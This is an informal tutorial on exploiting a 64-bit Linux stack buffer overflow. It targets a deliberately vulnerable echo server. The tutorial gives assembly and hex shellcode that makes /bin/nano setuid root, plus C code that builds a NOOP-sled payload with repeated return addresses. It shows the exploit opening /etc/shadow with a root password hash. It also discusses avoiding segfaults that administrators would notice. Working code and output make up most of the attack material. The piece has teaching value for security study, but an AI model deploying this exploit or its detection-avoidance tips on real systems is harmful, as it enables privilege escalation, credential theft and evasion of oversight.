Designed by thousands of monkeys with hundreds of typewriters
Buffer Overflows and You
for 64-bit Linux systems!

Got root?

Gentlemen, we can root it. We have the technology. We have the capability to root yet another poor idiot's server on the int4rw3bs. Steve Austin will be that man. Better than he was before. Better, stronger, faster, errrr...

We spent all that time developing a small bit of shellcode. Let's put it to good use. Suppose we have the program provided here. It's a simple echo server, whatever you send it, it sends back to you.

$ gcc -fno-stack-protector -z execstack -o server server.c
$ ./server 5000

Then in another terminal...

$ telnet
telnet> open 127.0.0.1 5000
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Hello
Hello
Hi
Hi

But this program has an error in it. If we look at the source code, we see that the buffer being used is 512 bytes. But, when recv() is called, we specify a buffer size of 1024 bytes. Ruh Roh. Back in our telnet session...

Hi
Hi
12456789012456789012456789012456789012456789012456789012456789012456789012456789
01245678901245678901245678901245678901245678901245678901245678901245678901245678
90124567890124567890124567890124567890124567890124567890124567890124567890124567
89012456789012456789012456789012456789012456789012456789012456789012456789012456
78901245678901245678901245678901245678901245678901245678901245678901245678901245
67890124567890124567890124567890124567890124567890124567890124567890124567890124
56789012456789012456789012456789012456789012456789012456789012456789012456789012
4567890124567890124567890124567890124567890124567890124567890124567890
Connection closed by foreign host.

And the server spits out...

send: Bad file descriptor
Segmentation fault (core dumped)
$

Gee whiz, I think we just trampled over all of the local variables, the saved frame pointer, and the return address. Well this looks promising!

For demonstration purposes, let's assume we also have a local account on the machine that the server is running on, and that the server is running as root so it can bind to a port below 1024. Since we have local access to the machine, instead of turning the server into a shell like we did in the Shellcode section, we could instead simply set "/bin/sh" setuid root. This means that the shell will always run as the user root, instead of an unprivileged user.

Sounds nice in theory, but many binaries have protections against running setuid. [5] /bin/bash (which /bin/sh is symlinked to on many systems) will not run as root if the real uid is not root. Fine. How about /bin/nano? That program will happily run as root (/bin/vi will not, otherwise we'd use that).

Finally, it's important to realize that attacks are still possible without local access - you just need slightly more complicated shellcode that spawns the shell and binds it to an open socket.

New "shellcode"

Anyway, we want a program like this...

#include <sys/stat.h>

int main() {
  chmod("/bin/nano", 04711);
}

chmod is also a system call (or, more precisely the wrapper provided by libc). Using the same process described in the Shellcode section, the end assembly that we come up with is this...

__asm__(
"mov    $0x11111111111119c9,%rsi\n\t" // arg 2 = 04711
"shl    $0x30,%rsi\n\t"
"shr    $0x30,%rsi\n\t"               // first 48 bits = 0
"mov    $0x111111111111116f,%rdi\n\t"
"shl    $0x38,%rdi\n\t"
"shr    $0x38,%rdi\n\t"
"push   %rdi\n\t"
"mov    $0x6e616e2f6e69622f,%rdi\n\t" // generate "/bin/nano"
"push   %rdi\n\t"                     // and push it onto the stack
"mov    %rsp,%rdi\n\t"                // arg 1 = stack ptr = start of "/bin/nano"
"mov    $0x111111111111115a,%rax\n\t"
"shl    $0x38,%rax\n\t"
"shr    $0x38,%rax\n\t"               // syscall number = 90
"syscall\n\t"
);

And the actual payload is...

\x48\xbe\xc9\x19\x11\x11\x11\x11\x11\x11\x48\xc1\xe6\x30\x48\xc1\xee\x30\x48\xbf
\x6f\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe7\x38\x48\xc1\xef\x38\x57\x48\xbf\x2f
\x62\x69\x6e\x2f\x6e\x61\x6e\x57\x48\x89\xe7\x48\xb8\x5a\x11\x11\x11\x11\x11\x11
\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

Tips and tricks

Okay, now we have a few problems. First of all, we have no idea where in memory this buffer is. But we have the source code, and we have access to the machine. So we can make an educated guess.

There are also a couple of tricks that we can play to improve our odds. The first trick improves our chances of overwriting the return address. We can accomplish this simply by repeating the new return address at the end of the payload a fair number of times. That way everything above the payload is overwritten with the new return address, and you're pretty much guaranteed to hit the actual return address. Now, there are alignment issues here so if you don't get it right the first time you may need to move the starting address by one byte (or two or three, or four, or five, or six, or seven).

The second trick we can play reduces the accuracy required for our new return address. Normally we would need to precisely point the return address at the start of our payload. But, what if our payload has a bunch of NOOPs in the beginning? As long as we land somewhere in this "NOOP sled" [6] the payload will correctly execute. So if you recall the stack layout from earlier, we want to transform it into the second image...

stackcloseup-sm
payload-sm

Delivery

Okay, let's get on with it. First add a printf() call to server.c that dumps the address of buf.

printf("buf ended up at %p\n", buf);

The output will be something like this (the address will invariably be different)...

buf ended up at 0x7fffffffe1a0

Alright. Let's write a program to deliver our payload, called send.c. You can see the entire program here. It's straightforward. All it does is connect to the specified port, and send the payload. The code that generates the payload can be seen here:

  ret += atoi(argv[2]);

  [...]

  /* NOOP sled */
  memset(buf, 0x90, 384);

  /* Payload */
  memcpy(buf+384, payload, sizeof(payload));

  /* Remaining buffer */
  addr = (long) buf+384+sizeof(payload);

  /* 8-byte align the return addresses */
  while (addr % 8 != 0) addr++;

  /* Repeat return address for rest of buf */
  for (i = 0; i < (sizeof(buf)-384-sizeof(payload)-8)/8; i++) {
    *(((long *)addr)+i) = ret;
  }

You can see we first add an offset to the return address, you'll discover why below. After that we take our 768 byte buffer and build it up starting with 384 bytes of NOOPs, followed by the actual payload, followed by our calculated return address repeated until the end of the buffer.

So, if we startup the server as root on port 1023...

[root@localhost ~]# ./server 1023

And then run our program...

$ ./send 1023 100

We can see the server is dead, but we didn't have any success with /bin/nano...

Connected to 127.0.0.1
send: Bad file descriptor
Segmentation fault (core dumped)
[root@localhost ~]# ls -l /bin/nano
-rwxr-xr-x. 1 root root 177328 2009-11-18 12:54 /bin/nano

Well now it's basically a matter of trial and error. The buffer isn't located at precisely the same place when run as root for one simple reason, the environment variables. Recall our original stack layout...

stack-sm

Since the environment variables generally change from account to account, system to system, we have to guess an offset. Our NOOP sled gives us some leniency in this guessing, so if we start going at 300 byte increments eventually we'll stumble on the proper offset. For our example system the offset happens to be anywhere around 900...

Victory

$ ./send 1023 900
$ ls -l /bin/nano
-rws--x--x. 1 root root 177328 2009-11-18 12:54 /bin/nano
$ nano /etc/shadow
  GNU nano 2.0.9             File: /etc/shadow

root:$1$vH1c/O5N$oA0VKFanh6OvM37AJ7BFR/:14725:0:99999:7:::
bin:*:13878:0:99999:7:::
daemon:*:13878:0:99999:7:::
adm:*:13878:0:99999:7:::
lp:*:13878:0:99999:7:::
sync:*:13878:0:99999:7:::
shutdown:*:13878:0:99999:7:::
halt:*:13878:0:99999:7:::
mail:*:13878:0:99999:7:::
news:*:13878:0:99999:7:::
uucp:*:13878:0:99999:7:::
operator:*:13878:0:99999:7:::
                               [ Read 48 lines ]
^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell

That's right, we have write access to /etc/shadow now. If you're not sure what to do at this point, well ... . .. ..

That said, we kind of glossed over an important fact. Every time we tried the exploit and failed, the server segfaulted. Most systems will log this event, and it won't take long for the administrator to figure out what's going on. Also, every time the server dies it must be restarted - this in itself isn't a big hurdle, if it's a relatively important service there may easily be a crontab that restarts it every 10 minutes or something. And looking back, it only took 3 or 4 attempts to get it right.

The main concern is almost certainly the segmentation faults. We can get around this by adding an exit() syscall to the end of our payload. This is a very simple thing to do, and the exercise is left to the reader.